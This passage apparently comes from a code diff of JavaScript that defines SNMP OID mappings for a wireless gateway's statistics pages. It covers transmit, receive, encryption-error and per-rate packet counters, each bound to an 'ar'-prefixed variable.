arSGIReceiveCount=AdvanceWirelessStats.SGIReceiveCount; +var arSTBCTransmitCount=AdvanceWirelessStats.STBCTransmitCount; +var arSTBCReceiveCount=AdvanceWirelessStats.STBCReceiveCount; + +var AdvanceWirelessStatsXmit = new Container("AdvanceWirelessStatsXmit", "1.3.6.1.4.1.4115.1.20.1.1.3.46.1"); +AdvanceWirelessStatsXmit.TxFrameCount= new Scalar("TxFrameCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.1",2); +AdvanceWirelessStatsXmit.TxBytesCount= new Scalar("TxBytesCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.2",2); +AdvanceWirelessStatsXmit.TxRetransmitCount= new Scalar("TxRetransmitCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.3",2); +AdvanceWirelessStatsXmit.TxErrorCount= new Scalar("TxErrorCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.4",2); +AdvanceWirelessStatsXmit.TxMgmtFrames= new Scalar("TxMgmtFrames","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.5",2); +AdvanceWirelessStatsXmit.TxShortPreambleFrames= new Scalar("TxShortPreambleFrames","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.6",2); +AdvanceWirelessStatsXmit.TxStatusErrors= new Scalar("TxStatusErrors","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.7",2); +AdvanceWirelessStatsXmit.TxOutOfBufsErrors= new Scalar("TxOutOfBufsErrors","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.8",2); +AdvanceWirelessStatsXmit.TxNoAssocErrors= new Scalar("TxNoAssocErrors","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.9",2); +AdvanceWirelessStatsXmit.TxRuntCount= new Scalar("TxRuntCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.10",2); +AdvanceWirelessStatsXmit.TxHeaderCacheHit= new Scalar("TxHeaderCacheHit","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.11",2); +AdvanceWirelessStatsXmit.TxHeaderCacheMiss= new Scalar("TxHeaderCacheMiss","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.12",2); +AdvanceWirelessStatsXmit.TxFIFOUnderflows= new Scalar("TxFIFOUnderflows","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.13",2); +AdvanceWirelessStatsXmit.TxPhyErrors= new Scalar("TxPhyErrors","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.14",2); +AdvanceWirelessStatsXmit.TxPhyCRS= new Scalar("TxPhyCRS","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.15",2); +AdvanceWirelessStatsXmit.TxAllFrameCount= new Scalar("TxAllFrameCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.16",2); +AdvanceWirelessStatsXmit.TxDMAWarCount= new Scalar("TxDMAWarCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.17",2); +AdvanceWirelessStatsXmit.TxRTSFrameCount= new Scalar("TxRTSFrameCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.18",2); +AdvanceWirelessStatsXmit.TxCTSFrameCount= new Scalar("TxCTSFrameCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.19",2); +AdvanceWirelessStatsXmit.TxAckFrameCount= new Scalar("TxAckFrameCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.20",2); +AdvanceWirelessStatsXmit.TxDNLFrameCount= new Scalar("TxDNLFrameCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.21",2); +AdvanceWirelessStatsXmit.TxBeaconFrameCount= new Scalar("TxBeaconFrameCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.22",2); +AdvanceWirelessStatsXmit.TxUnderflowCount= new Scalar("TxUnderflowCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.23",4,1); +AdvanceWirelessStatsXmit.TxTemplateUnderflowCount= new Scalar("TxTemplateUnderflowCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.24",2); +AdvanceWirelessStatsXmit.TxBeaconsCanceledCount= new Scalar("TxBeaconsCanceledCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.25",2); +AdvanceWirelessStatsXmit.TxFIFOOverflows= new Scalar("TxFIFOOverflows","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.26",2); +AdvanceWirelessStatsXmit.TxPRFailures= new Scalar("TxPRFailures","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.27",2); +AdvanceWirelessStatsXmit.TxPRSuccess= new Scalar("TxPRSuccess","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.28",2); +AdvanceWirelessStatsXmit.TxAfterburnerNACKCount= new Scalar("TxAfterburnerNACKCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.29",2); +AdvanceWirelessStatsXmit.TxFragmentCount= new Scalar("TxFragmentCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.30",2); +AdvanceWirelessStatsXmit.TxMulticastCount= new Scalar("TxMulticastCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.31",2); +AdvanceWirelessStatsXmit.TxFailureCount= new Scalar("TxFailureCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.32",2); +AdvanceWirelessStatsXmit.TxRetryCount= new Scalar("TxRetryCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.33",2); +AdvanceWirelessStatsXmit.TxMultipleRetryCount= new Scalar("TxMultipleRetryCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.34",2); +AdvanceWirelessStatsXmit.TxRTSSuccessCount= new Scalar("TxRTSSuccessCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.35",2); +AdvanceWirelessStatsXmit.TxRTSFailCount= new Scalar("TxRTSFailCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.36",2); +AdvanceWirelessStatsXmit.TxAckFailCount= new Scalar("TxAckFailCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.37",2); +AdvanceWirelessStatsXmit.TxFrameCountDot11= new Scalar("TxFrameCountDot11","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.38",2); +AdvanceWirelessStatsXmit.TxChannelRejectFrameCount= new Scalar("TxChannelRejectFrameCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.39",2); +AdvanceWirelessStatsXmit.TxTimerExpirationFrameCount= new Scalar("TxTimerExpirationFrameCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.40",2); +AdvanceWirelessStatsXmit.TxGlitchNACKCount= new Scalar("TxGlitchNACKCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.41",2); +var arTxFrameCount=AdvanceWirelessStatsXmit.TxFrameCount; +var arTxBytesCount=AdvanceWirelessStatsXmit.TxBytesCount; +var arTxRetransmitCount=AdvanceWirelessStatsXmit.TxRetransmitCount; +var arTxErrorCount=AdvanceWirelessStatsXmit.TxErrorCount; +var arTxMgmtFrames=AdvanceWirelessStatsXmit.TxMgmtFrames; +var arTxShortPreambleFrames=AdvanceWirelessStatsXmit.TxShortPreambleFrames; +var arTxStatusErrors=AdvanceWirelessStatsXmit.TxStatusErrors; +var arTxOutOfBufsErrors=AdvanceWirelessStatsXmit.TxOutOfBufsErrors; +var arTxNoAssocErrors=AdvanceWirelessStatsXmit.TxNoAssocErrors; +var arTxRuntCount=AdvanceWirelessStatsXmit.TxRuntCount; +var arTxHeaderCacheHit=AdvanceWirelessStatsXmit.TxHeaderCacheHit; +var arTxHeaderCacheMiss=AdvanceWirelessStatsXmit.TxHeaderCacheMiss; +var arTxFIFOUnderflows=AdvanceWirelessStatsXmit.TxFIFOUnderflows; +var arTxPhyErrors=AdvanceWirelessStatsXmit.TxPhyErrors; +var arTxPhyCRS=AdvanceWirelessStatsXmit.TxPhyCRS; +var arTxAllFrameCount=AdvanceWirelessStatsXmit.TxAllFrameCount; +var arTxDMAWarCount=AdvanceWirelessStatsXmit.TxDMAWarCount; +var arTxRTSFrameCount=AdvanceWirelessStatsXmit.TxRTSFrameCount; +var arTxCTSFrameCount=AdvanceWirelessStatsXmit.TxCTSFrameCount; +var arTxAckFrameCount=AdvanceWirelessStatsXmit.TxAckFrameCount; +var arTxDNLFrameCount=AdvanceWirelessStatsXmit.TxDNLFrameCount; +var arTxBeaconFrameCount=AdvanceWirelessStatsXmit.TxBeaconFrameCount; +var arTxUnderflowCount=AdvanceWirelessStatsXmit.TxUnderflowCount; +var arTxTemplateUnderflowCount=AdvanceWirelessStatsXmit.TxTemplateUnderflowCount; +var arTxBeaconsCanceledCount=AdvanceWirelessStatsXmit.TxBeaconsCanceledCount; +var arTxFIFOOverflows=AdvanceWirelessStatsXmit.TxFIFOOverflows; +var arTxPRFailures=AdvanceWirelessStatsXmit.TxPRFailures; +var arTxPRSuccess=AdvanceWirelessStatsXmit.TxPRSuccess; +var arTxAfterburnerNACKCount=AdvanceWirelessStatsXmit.TxAfterburnerNACKCount; +var arTxFragmentCount=AdvanceWirelessStatsXmit.TxFragmentCount; +var arTxMulticastCount=AdvanceWirelessStatsXmit.TxMulticastCount; +var arTxFailureCount=AdvanceWirelessStatsXmit.TxFailureCount; +var arTxRetryCount=AdvanceWirelessStatsXmit.TxRetryCount; +var arTxMultipleRetryCount=AdvanceWirelessStatsXmit.TxMultipleRetryCount; +var arTxRTSSuccessCount=AdvanceWirelessStatsXmit.TxRTSSuccessCount; +var arTxRTSFailCount=AdvanceWirelessStatsXmit.TxRTSFailCount; +var arTxAckFailCount=AdvanceWirelessStatsXmit.TxAckFailCount; +var arTxFrameCountDot11=AdvanceWirelessStatsXmit.TxFrameCountDot11; +var arTxChannelRejectFrameCount=AdvanceWirelessStatsXmit.TxChannelRejectFrameCount; +var arTxTimerExpirationFrameCount=AdvanceWirelessStatsXmit.TxTimerExpirationFrameCount; +var arTxGlitchNACKCount=AdvanceWirelessStatsXmit.TxGlitchNACKCount; + +var AdvanceWirelessStatsRecv = new Container("AdvanceWirelessStatsRecv", "1.3.6.1.4.1.4115.1.20.1.1.3.46.2"); +AdvanceWirelessStatsRecv.RxFrame= new Scalar("RxFrame","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.1",2); +AdvanceWirelessStatsRecv.RxBytes= new Scalar("RxBytes","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.2",2); +AdvanceWirelessStatsRecv.RxError= new Scalar("RxError","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.3",2); +AdvanceWirelessStatsRecv.RxCtl= new Scalar("RxCtl","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.4",2); +AdvanceWirelessStatsRecv.RxNoBufs= new Scalar("RxNoBufs","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.5",2); +AdvanceWirelessStatsRecv.RxNonDataErrors= new Scalar("RxNonDataErrors","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.6",2); +AdvanceWirelessStatsRecv.RxBadDSErrors= new Scalar("RxBadDSErrors","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.7",2); +AdvanceWirelessStatsRecv.RxBadCMErrors= new Scalar("RxBadCMErrors","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.8",2); +AdvanceWirelessStatsRecv.RxFragErrors= new Scalar("RxFragErrors","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.9",2); +AdvanceWirelessStatsRecv.RxRuntCount= new Scalar("RxRuntCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.10",2); +AdvanceWirelessStatsRecv.RxGiantCount= new Scalar("RxGiantCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.11",2); +AdvanceWirelessStatsRecv.RxNoSCBErrorCount= new Scalar("RxNoSCBErrorCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.12",2); +AdvanceWirelessStatsRecv.RxBadProtoErrorCount= new Scalar("RxBadProtoErrorCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.13",2); +AdvanceWirelessStatsRecv.RxBadSrcMACErrorCount= new Scalar("RxBadSrcMACErrorCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.14",2); +AdvanceWirelessStatsRecv.RxBadDAErrorCount= new Scalar("RxBadDAErrorCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.15",2); +AdvanceWirelessStatsRecv.RxFilterCount= new Scalar("RxFilterCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.16",2); +AdvanceWirelessStatsRecv.RxUnderflowCount= new Scalar("RxUnderflowCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.17",4,1); +AdvanceWirelessStatsRecv.RxFrameTooLongCount= new Scalar("RxFrameTooLongCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.18",2); +AdvanceWirelessStatsRecv.RxFrameTooShortCount= new Scalar("RxFrameTooShortCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.19",2); +AdvanceWirelessStatsRecv.RxBadHeaderCount= new Scalar("RxBadHeaderCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.20",2); +AdvanceWirelessStatsRecv.RxBadFCSCount= new Scalar("RxBadFCSCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.21",2); +AdvanceWirelessStatsRecv.RxBadPLCPCount= new Scalar("RxBadPLCPCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.22",2); +AdvanceWirelessStatsRecv.RxRSGlitchCount= new Scalar("RxRSGlitchCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.23",2); +AdvanceWirelessStatsRecv.RxGoodPLCPCount= new Scalar("RxGoodPLCPCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.24",2); +AdvanceWirelessStatsRecv.RxDataGoodFCSCount= new Scalar("RxDataGoodFCSCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.25",2); +AdvanceWirelessStatsRecv.RxMgmtGoodFCSCount= new Scalar("RxMgmtGoodFCSCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.26",2); +AdvanceWirelessStatsRecv.RxControlGoodFCSCount= new Scalar("RxControlGoodFCSCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.27",2); +AdvanceWirelessStatsRecv.RxRTSGoodFCSCount= new Scalar("RxRTSGoodFCSCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.28",2); +AdvanceWirelessStatsRecv.RxCTSGoodFCSCount= new Scalar("RxCTSGoodFCSCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.29",2); +AdvanceWirelessStatsRecv.RxAcksGoodFCSCount= new Scalar("RxAcksGoodFCSCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.30",2); +AdvanceWirelessStatsRecv.RxDataGoodFCSNoRACount= new Scalar("RxDataGoodFCSNoRACount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.31",2); +AdvanceWirelessStatsRecv.RxMgmtGoodFCSNoRACount= new Scalar("RxMgmtGoodFCSNoRACount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.32",2); +AdvanceWirelessStatsRecv.RxCTRLGoodFCSNoRACount= new Scalar("RxCTRLGoodFCSNoRACount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.33",2); +AdvanceWirelessStatsRecv.RxRTSNoMACCount= new Scalar("RxRTSNoMACCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.34",2); +AdvanceWirelessStatsRecv.RxCTSNoMACCount= new Scalar("RxCTSNoMACCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.35",2); +AdvanceWirelessStatsRecv.RxMulticastDataCount= new Scalar("RxMulticastDataCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.36",2); +AdvanceWirelessStatsRecv.RxMulticastMgmtCount= new Scalar("RxMulticastMgmtCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.37",2); +AdvanceWirelessStatsRecv.RxMulticastCtlCount= new Scalar("RxMulticastCtlCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.38",2); +AdvanceWirelessStatsRecv.RxMemberBeaconCount= new Scalar("RxMemberBeaconCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.39",2); +AdvanceWirelessStatsRecv.RxWDSFrameCount= new Scalar("RxWDSFrameCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.40",2); +AdvanceWirelessStatsRecv.RxOtherBeaconCount= new Scalar("RxOtherBeaconCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.41",2); +AdvanceWirelessStatsRecv.RxTimeoutsCount= new Scalar("RxTimeoutsCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.42",2); +AdvanceWirelessStatsRecv.RxFiFoZeroOverflows= new Scalar("RxFiFoZeroOverflows","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.43",2); +AdvanceWirelessStatsRecv.RxFiFoOneOverflows= new Scalar("RxFiFoOneOverflows","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.44",2); +AdvanceWirelessStatsRecv.RxFiFoTwoOverflows= new Scalar("RxFiFoTwoOverflows","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.45",2); +AdvanceWirelessStatsRecv.RxPRQFIFOCount= new Scalar("RxPRQFIFOCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.46",2); +AdvanceWirelessStatsRecv.RxPRQOverflowCount= new Scalar("RxPRQOverflowCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.47",2); +AdvanceWirelessStatsRecv.RxAfterburnerNACKCount= new Scalar("RxAfterburnerNACKCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.48",2); +AdvanceWirelessStatsRecv.RxAfterburnerConsumedCount= new Scalar("RxAfterburnerConsumedCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.49",2); +AdvanceWirelessStatsRecv.RxFrameDuplicateCount= new Scalar("RxFrameDuplicateCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.50",2); +AdvanceWirelessStatsRecv.RxFragmentCount= new Scalar("RxFragmentCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.51",2); +AdvanceWirelessStatsRecv.RxMulticastCount= new Scalar("RxMulticastCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.52",2); +AdvanceWirelessStatsRecv.RxFCSErrorCount= new Scalar("RxFCSErrorCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.53",2); +var arRxFrame=AdvanceWirelessStatsRecv.RxFrame; +var arRxBytes=AdvanceWirelessStatsRecv.RxBytes; +var arRxError=AdvanceWirelessStatsRecv.RxError; +var arRxCtl=AdvanceWirelessStatsRecv.RxCtl; +var arRxNoBufs=AdvanceWirelessStatsRecv.RxNoBufs; +var arRxNonDataErrors=AdvanceWirelessStatsRecv.RxNonDataErrors; +var arRxBadDSErrors=AdvanceWirelessStatsRecv.RxBadDSErrors; +var arRxBadCMErrors=AdvanceWirelessStatsRecv.RxBadCMErrors; +var arRxFragErrors=AdvanceWirelessStatsRecv.RxFragErrors; +var arRxRuntCount=AdvanceWirelessStatsRecv.RxRuntCount; +var arRxGiantCount=AdvanceWirelessStatsRecv.RxGiantCount; +var arRxNoSCBErrorCount=AdvanceWirelessStatsRecv.RxNoSCBErrorCount; +var arRxBadProtoErrorCount=AdvanceWirelessStatsRecv.RxBadProtoErrorCount; +var arRxBadSrcMACErrorCount=AdvanceWirelessStatsRecv.RxBadSrcMACErrorCount; +var arRxBadDAErrorCount=AdvanceWirelessStatsRecv.RxBadDAErrorCount; +var arRxFilterCount=AdvanceWirelessStatsRecv.RxFilterCount; +var arRxUnderflowCount=AdvanceWirelessStatsRecv.RxUnderflowCount; +var arRxFrameTooLongCount=AdvanceWirelessStatsRecv.RxFrameTooLongCount; +var arRxFrameTooShortCount=AdvanceWirelessStatsRecv.RxFrameTooShortCount; +var arRxBadHeaderCount=AdvanceWirelessStatsRecv.RxBadHeaderCount; +var arRxBadFCSCount=AdvanceWirelessStatsRecv.RxBadFCSCount; +var arRxBadPLCPCount=AdvanceWirelessStatsRecv.RxBadPLCPCount; +var arRxRSGlitchCount=AdvanceWirelessStatsRecv.RxRSGlitchCount; +var arRxGoodPLCPCount=AdvanceWirelessStatsRecv.RxGoodPLCPCount; +var arRxDataGoodFCSCount=AdvanceWirelessStatsRecv.RxDataGoodFCSCount; +var arRxMgmtGoodFCSCount=AdvanceWirelessStatsRecv.RxMgmtGoodFCSCount; +var arRxControlGoodFCSCount=AdvanceWirelessStatsRecv.RxControlGoodFCSCount; +var arRxRTSGoodFCSCount=AdvanceWirelessStatsRecv.RxRTSGoodFCSCount; +var arRxCTSGoodFCSCount=AdvanceWirelessStatsRecv.RxCTSGoodFCSCount; +var arRxAcksGoodFCSCount=AdvanceWirelessStatsRecv.RxAcksGoodFCSCount; +var arRxDataGoodFCSNoRACount=AdvanceWirelessStatsRecv.RxDataGoodFCSNoRACount; +var arRxMgmtGoodFCSNoRACount=AdvanceWirelessStatsRecv.RxMgmtGoodFCSNoRACount; +var arRxCTRLGoodFCSNoRACount=AdvanceWirelessStatsRecv.RxCTRLGoodFCSNoRACount; +var arRxRTSNoMACCount=AdvanceWirelessStatsRecv.RxRTSNoMACCount; +var arRxCTSNoMACCount=AdvanceWirelessStatsRecv.RxCTSNoMACCount; +var arRxMulticastDataCount=AdvanceWirelessStatsRecv.RxMulticastDataCount; +var arRxMulticastMgmtCount=AdvanceWirelessStatsRecv.RxMulticastMgmtCount; +var arRxMulticastCtlCount=AdvanceWirelessStatsRecv.RxMulticastCtlCount; +var arRxMemberBeaconCount=AdvanceWirelessStatsRecv.RxMemberBeaconCount; +var arRxWDSFrameCount=AdvanceWirelessStatsRecv.RxWDSFrameCount; +var arRxOtherBeaconCount=AdvanceWirelessStatsRecv.RxOtherBeaconCount; +var arRxTimeoutsCount=AdvanceWirelessStatsRecv.RxTimeoutsCount; +var arRxFiFoZeroOverflows=AdvanceWirelessStatsRecv.RxFiFoZeroOverflows; +var arRxFiFoOneOverflows=AdvanceWirelessStatsRecv.RxFiFoOneOverflows; +var arRxFiFoTwoOverflows=AdvanceWirelessStatsRecv.RxFiFoTwoOverflows; +var arRxPRQFIFOCount=AdvanceWirelessStatsRecv.RxPRQFIFOCount; +var arRxPRQOverflowCount=AdvanceWirelessStatsRecv.RxPRQOverflowCount; +var arRxAfterburnerNACKCount=AdvanceWirelessStatsRecv.RxAfterburnerNACKCount; +var arRxAfterburnerConsumedCount=AdvanceWirelessStatsRecv.RxAfterburnerConsumedCount; +var arRxFrameDuplicateCount=AdvanceWirelessStatsRecv.RxFrameDuplicateCount; +var arRxFragmentCount=AdvanceWirelessStatsRecv.RxFragmentCount; +var arRxMulticastCount=AdvanceWirelessStatsRecv.RxMulticastCount; +var arRxFCSErrorCount=AdvanceWirelessStatsRecv.RxFCSErrorCount; + +var AdvanceWirelessStatsEncrypt = new Container("AdvanceWirelessStatsEncrypt", "1.3.6.1.4.1.4115.1.20.1.1.3.46.3"); +AdvanceWirelessStatsEncrypt.WEPUndecryptableCount= new Scalar("WEPUndecryptableCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.3.1",2); +AdvanceWirelessStatsEncrypt.TKIPLocalMICFailureCount= new Scalar("TKIPLocalMICFailureCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.3.2",2); +AdvanceWirelessStatsEncrypt.TKIPCounterMeasuresInvoked= new Scalar("TKIPCounterMeasuresInvoked","1.3.6.1.4.1.4115.1.20.1.1.3.46.3.3",2); +AdvanceWirelessStatsEncrypt.TKIPReplayCount= new Scalar("TKIPReplayCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.3.4",2); +AdvanceWirelessStatsEncrypt.AESFormatErrorCount= new Scalar("AESFormatErrorCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.3.5",2); +AdvanceWirelessStatsEncrypt.AESReplaysCount= new Scalar("AESReplaysCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.3.6",2); +AdvanceWirelessStatsEncrypt.AESDecryptErrorCount= new Scalar("AESDecryptErrorCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.3.7",2); +AdvanceWirelessStatsEncrypt.FourWayHandshakeFails= new Scalar("FourWayHandshakeFails","1.3.6.1.4.1.4115.1.20.1.1.3.46.3.8",2); +AdvanceWirelessStatsEncrypt.WEPPICVErrorCount= new Scalar("WEPPICVErrorCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.3.9",2); +AdvanceWirelessStatsEncrypt.DecryptSuccessCount= new Scalar("DecryptSuccessCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.3.10",2); +AdvanceWirelessStatsEncrypt.TKIPPICVErrorCount= new Scalar("TKIPPICVErrorCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.3.11",2); +AdvanceWirelessStatsEncrypt.WEPExcludedCount= new Scalar("WEPExcludedCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.3.12",2); +var arWEPUndecryptableCount=AdvanceWirelessStatsEncrypt.WEPUndecryptableCount; +var arTKIPLocalMICFailureCount=AdvanceWirelessStatsEncrypt.TKIPLocalMICFailureCount; +var arTKIPCounterMeasuresInvoked=AdvanceWirelessStatsEncrypt.TKIPCounterMeasuresInvoked; +var arTKIPReplayCount=AdvanceWirelessStatsEncrypt.TKIPReplayCount; +var arAESFormatErrorCount=AdvanceWirelessStatsEncrypt.AESFormatErrorCount; +var arAESReplaysCount=AdvanceWirelessStatsEncrypt.AESReplaysCount; +var arAESDecryptErrorCount=AdvanceWirelessStatsEncrypt.AESDecryptErrorCount; +var arFourWayHandshakeFails=AdvanceWirelessStatsEncrypt.FourWayHandshakeFails; +var arWEPPICVErrorCount=AdvanceWirelessStatsEncrypt.WEPPICVErrorCount; +var arDecryptSuccessCount=AdvanceWirelessStatsEncrypt.DecryptSuccessCount; +var arTKIPPICVErrorCount=AdvanceWirelessStatsEncrypt.TKIPPICVErrorCount; +var arWEPExcludedCount=AdvanceWirelessStatsEncrypt.WEPExcludedCount; + +var AdvanceWirelessStatsRateStats = new Container("AdvanceWirelessStatsRateStats", "1.3.6.1.4.1.4115.1.20.1.1.3.46.4"); +AdvanceWirelessStatsRateStats.PacketsRcv1Mbps= new Scalar("PacketsRcv1Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.1",2); +AdvanceWirelessStatsRateStats.PacketsRcv2Mbps= new Scalar("PacketsRcv2Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.2",2); +AdvanceWirelessStatsRateStats.PacketsRcv5HalfMbps= new Scalar("PacketsRcv5HalfMbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.3",2); +AdvanceWirelessStatsRateStats.PacketsRcv6Mbps= new Scalar("PacketsRcv6Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.4",2); +AdvanceWirelessStatsRateStats.PacketsRcv9Mbps= new Scalar("PacketsRcv9Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.5",2); +AdvanceWirelessStatsRateStats.PacketsRcv11Mbps= new Scalar("PacketsRcv11Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.6",2); +AdvanceWirelessStatsRateStats.PacketsRcv12Mbps= new Scalar("PacketsRcv12Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.7",2); +AdvanceWirelessStatsRateStats.PacketsRcv18Mbps= new Scalar("PacketsRcv18Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.8",2); +AdvanceWirelessStatsRateStats.PacketsRcv24Mbps= new Scalar("PacketsRcv24Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.9",2); +AdvanceWirelessStatsRateStats.PacketsRcv36Mbps= new Scalar("PacketsRcv36Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.10",2); +AdvanceWirelessStatsRateStats.PacketsRcv48Mbps= new Scalar("PacketsRcv48Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.11",2); +AdvanceWirelessStatsRateStats.PacketsRcv54Mbps= new Scalar("PacketsRcv54Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.12",2); +AdvanceWirelessStatsRateStats.PacketsRcv108Mbps= new Scalar("PacketsRcv108Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.13",2); +AdvanceWirelessStatsRateStats.PacketsRcv162Mbps= new Scalar("PacketsRcv162Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.14",2); +AdvanceWirelessStatsRateStats.PacketsRcv216Mbps= new Scalar("PacketsRcv216Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.15",2); +AdvanceWirelessStatsRateStats.PacketsRcv270Mbps= new Scalar("PacketsRcv270Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.16",2); +AdvanceWirelessStatsRateStats.PacketsRcv324Mbps= new Scalar("PacketsRcv324Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.17",2); +AdvanceWirelessStatsRateStats.PacketsRcv378Mbps= new Scalar("PacketsRcv378Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.18",2); +AdvanceWirelessStatsRateStats.PacketsRcv432Mbps= new Scalar("PacketsRcv432Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.19",2); +AdvanceWirelessStatsRateStats.PacketsRcv486Mbps= new Scalar("PacketsRcv486Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.20",2); +AdvanceWirelessStatsRateStats.PacketsRcv540Mbps= new Scalar("PacketsRcv540Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.21",2); +var arPacketsRcv1Mbps=AdvanceWirelessStatsRateStats.PacketsRcv1Mbps; +var arPacketsRcv2Mbps=AdvanceWirelessStatsRateStats.PacketsRcv2Mbps; +var 